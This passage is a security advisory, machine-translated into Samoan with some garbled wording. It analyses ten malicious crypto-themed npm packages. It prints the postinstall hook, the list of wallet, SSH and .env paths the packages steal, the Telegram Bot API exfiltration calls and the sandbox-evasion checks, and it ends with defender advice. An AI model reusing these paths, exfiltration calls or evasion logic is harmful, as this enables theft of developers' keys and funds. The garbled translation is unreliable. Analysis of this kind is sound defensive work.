TL; AMA
I le aso 9 o Iuni 2026, o se tala e tasi a le lomitusi npm, aicrypto-xzggg, lafoina afifi e sefulu fa'atasi ai ma igoa fa'apitoa mo le crypto ma le Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ma isi ono.
E tutusa lava le uta e fa'agaoioia e afifi ta'itasi mai se postinstall matau. I le fa'apipi'iina, e siaki pe o lo'o tamo'e i totonu o le CI po'o se sandbox — a leai, e faitauina ai le wallet keystores, faila seed-phrase, SSH ki, ma .env faila mai le ono o faiga fa'apolokalame ma tu'uina atu i se Telegram bot.
O le fa'ailoga e tasi e mafai e se tagata puipui ona sailia vave o le Telegram bot id 8227918239.
Mamafa: taua — gaoia tuusa'o o ki saini ma fuaitau toe maua mai nofoaga faigaluega a le au atina'e.
O Le Osofa'iga: Le Auala e Galue ai
O afifi e faʻasalalauina i latou lava o ni mea faigaluega a le au atinaʻe poloka poloka. afifi.json e laʻititi ma faʻasino i le taʻamilosaga o le faʻapipiʻiina i se tusitusiga:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }tusitusiga/postinstall.js o se shim e tasi le laina e uta ai le uta moni: mana'omia(“../src/index.js”). Talu ai pe a uma ona fa'apipi'i e tamo'e otometi lava i le taimi npm tāuta, e le manaʻomia le faʻaulufale mai o le code e le tagata atiaʻe — o le tuʻuina o le afifi i totonu o se laʻau faʻalagolago e lava lea e faʻatino ai.
O le filifili fasioti tagata i totonu src/index.js e fa laasaga:
- Siakiina o le siosiomaga. O le galuega a le leoleo e filifili pe foliga le 'au talimalo e pei o se sui fau fale po'o se pusa oneone fa'ata'ita'i.
- Fa'atuai. Ua tolopo le faatinoga i tua atu o se setTimeout pe tusa ma le 7.4 sekone.
- Aoina. O se lisi mautu o atotupe, ki, ma auala faalilolilo o faila e savalia; o faila o loʻo iai ua faʻasolo i le laina.
- Fa'amamāina. O faila ua fa'atulaga i le laina e lafo i se Telegram bot, ma muamua atu i ai se fe'au aotelega.
O le lisi o sini o le aoina e aofia ai filifili e ono faʻatasi ai ma mea lilo a le au atinaʻe lautele. Otioti:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localE lua sefulu ma le tasi auala i le aofaʻi. Faʻamaumauga o faʻasinomaga e pei o ~/.ethereum/faleoloa ki ua fa'alauteleina ma ua fa'atulaga faila uma i totonu i le laina. O le exfiltration e fa'aoga sa'o le Telegram Bot API — a lafo le Savali telefoni ma se 'au talimalo ma se aotelega o faila, ona sosoo ai lea ma se lafo Pepa lafoina i luga o vaega e tele mo faila taʻitasi:
matua
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)O le savali aotelega e tu'ufa'atasia e le code e amata i le fa'asologa moni LE GAIOI O LE CRYPTO, sosoo ai ma le igoa ole 'hostname', igoa ole igoa ole tagata fa'aoga, igoa ole afifi na amata ai, numera o faila, ma le fa'ailoga taimi.
O le ā le mea fou iinei
O le eseesega e le o le auala e gaoi ai - Telegram-based exfil mai le npm pe a uma ona fa'apipi'i hooks ua solia lelei. O le faitoto'a fa'asalaga. A'o le'i faia se mea, e vala'au e le payload se galuega faatino e toe fo'i mai le moni pe a foliga le 'au talimalo i se CI runner po'o se sandbox, ma toe fo'i vave mai pe a faia:
matua
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)O le container-id regex o le fuaiupu taua: o le 12-hex-character hostname o le foliga masani lea e tofia e Docker i le Fagu, o lea e taulimaina ai e le uta le "o loʻu igoa talimalo e foliga mai o se koneteina Docker" o se mafuaaga e tumau ai le moe. Faatasi ai ma le faatuai e fitu sekone, e fiafia le mamanu e tamoe i luga o le nofoaga faigaluega moni a le tagata atiae ma tumau filemu i soo se mea e foliga mai o se auiliiliga otometi. O lena faitotoa lea na taofia ai faailoilo o auiliiliga-faa-dynamic ma taofia ai le tafe o le exfil static o se faamaoniga autu o le talitonuga.
taimi faatulagaina
Na aliaʻe uma mai le toʻasefulu i totonu o le tusa ma le fitusefulu minute, e tusa ai ma le tasi tusitusiga na lolomiina mai le tasi tala.
Fa'ailoga o le Fete'ena'iga
Fa'ailoga o feso'ota'iga ma amioga (ua le toe fa'afo'isia le talimalo):
Afifi ma lomiga, e tofu ma le SHA-256 o lana src/index.js payload (e tutusa lelei galuega a payloads ma e na'o le igoa o le afifi ua fa'apipi'iina e eseese ai, o lea e eseese ai hash ta'itasi):
O se fesili faigofie e saili ai: saili i ogalaau fa'apipi'i ma faila loka mo so'o se tasi o igoa e sefulu, ma saili feoa'iga i fafo mo feso'ota'iga i le Telegram Bot API mai 'au fau fale po'o 'au atia'e e le fa'aaogaina.
Fa'asinomaga ma Amioga Mata'ituina
Na lomia uma afifi e sefulu e le tasi teugatupe, aicrypto-xzggg, o lana imeli ua ta'ua o vipsyria88@gmail[.]com. E le'i fa'amaoniaina uma le imeli ma le so'otaga e pulea ai le puna i le fa'amaumauga o le resitala, ma e matua leaga lava le tulaga ta'uleleia o le teugatupe. Matou te le'i fa'amaonia po'o ai e fa'agaoioia le teugatupe.
E lua fa'amatalaga e tatau ona vavae'ese mai so'o se tagi fa'asinomaga. Muamua, o le afifi.json tusitala faitauga o le fanua Alex Smith i afifi uma, ae o le tala lolomi moni lava e aicrypto-xzggg; o le fanua o le tusitala o se metadata ua fa'alauiloa e ia lava ma e le fa'amaonia ai le tusitala. Lua, e matua'i eseese lava numera o lomiga — o nisi o sui e nonofo i le 1.0.0, isi i 4.68.54 — lea e ogatasi ma le toe faʻaaogaina o se uta e tasi i luga o igoa fou o afifi nai lo le tausia o tala faʻasolopito moni.
E tutusa le amioga i le vaega atoa: e tutusa le lisi o ala e fa'atatau i ai, e tutusa le Telegram bot id ma le chat id, e tutusa le faitoto'a o le siosiomaga, e tutusa lava LE GAIOI O LE CRYPTO fa'ailoga. O le tutusa lea o le so'otaga sili ona malosi i le va o afifi. O se fa'ailoga e tasi le tagata fa'agaoioia, ae le o se fa'asinomaga.
A'afiaga, Aga Masani ma Taiala mo Tagata Puipuia
E mautinoa lava le faʻaaliga. O se tagata atiaʻe e faʻapipiʻi soʻo se tasi o nei afifi i luga o se workstation o loʻo i ai se atotupe polokalama, se faila seed-phrase, poʻo se ki SSH e faitauina ma lafoina atu na faila mai le 'au talimalo i totonu o ni nai sekone. O fuaitau toe faʻaleleia ma ki sainia e le muta e pei ona faia e se faʻailoga o le sauniga; pe a uma se mnemonic.txt pe o se Solana id.json A tuua le masini, o tupe o loʻo ia pulea o loʻo i se tulaga lamatia seʻia vagana ua faʻagaoioia. O le faʻagasologa lava lea e tasi e puʻeina ai foʻi .NS faila, e masani ona tauaveina ki API ma faʻamaoniga o faʻamaumauga.
E lua aga masani o loʻo i tua atu o lenei vaega. O le muamua o le faʻaauau pea ona faʻaaogaina o igoa crypto- ma Web3-themed e faʻatosina ai se aofia faʻapitoa - o tagata atiaʻe o loʻo teuina atotupe ma ki i luga o le masini lava e tasi latou te faʻapipiʻiina ai mea e faʻalagolago i ai. O le lona lua o le matua o le sandbox evasion i uta taimi faʻapipiʻi. O se faitotoʻa e siaki ai fesuiaʻiga o le siosiomaga CI, igoa ole tagata tamoe, ma le foliga o le Docker container-id hostname o se taumafaiga faʻamoemoe e amio ese i lalo o le suʻesuʻega nai lo se nofoaga faigaluega moni, ma e siʻitia ai le tulaga mo le iloagofieina o mea e faʻatino.
Mo ē puipuia:
Fa'apipi'i ma tusitusiga ua fa'agata e le masani ai. npm install –lē amana'ia-tusitusiga, pe seti le amana'ia-tusitusiga=moni in .npmrc, puipuia pe a uma ona fa'apipi'i fa'atinoga; fa'agaoioia tusitusiga mo na'o fa'alagolago patino e mana'omia moni lava.
Taofi atotupe ma ki saini mai masini fau fale ma masini atina'e. Faaaoga se atotupe masini po'o se 'au'aunaga saini fa'apitoa e leai se fa'alagolago.
Feutagaʻi .NS, ki teuoloa, ma faila o seed-phrase e pei o ni maa taua. E le tatau ona tuʻu i totonu o se faʻasinomaga e avea foʻi ma se npm tāuta laau galue.
Saili ni feso'ota'iga i fafo atu i le Telegram Bot API mai le CI ma le au atina'e. O le tele o siosiomaga fau fale e le vala'auina; o se tasi e fa'afuase'i ona faia, i le taimi lava e uma ai ona fa'apipi'i, e tatau ona su'esu'eina.
Fa'amau ma toe iloilo mea e fa'alagolago i ai. O se afifi fou ma se igoa lautele o le crypto, o se pe a uma ona fa'apipi'i hook, ma e leai se so'otaga o le fale teu oloa e mana'omia ona toe tilotilo i ai a'o le'i ulufale i totonu o se faila loka.
O le fuaiupu o le 'alo'ese mai le container-id' o se fa'amanatu fo'i lea mo le au su'esu'e: o se uta e tumau pea i le taimi e fa'apipi'i ai e le o se mea lelei, ae o se mea e filifili. O le iloiloga tumau o le auala fa'apipi'i o lo'o tumau pea le auala fa'atuatuaina e va'ai ai po'o le a le fa'atinoga fa'aonaponei e ono le fa'aalia.
mau faasino
pepa fa'amaumau o le fa'apipi'iina o le npm — tusitusiga o le olaga atoa ma –Faʻatuatuaga-tusitusiga— fa'asinomaga mo le fa'agataina o le fa'apipi'iina otometi hooks.
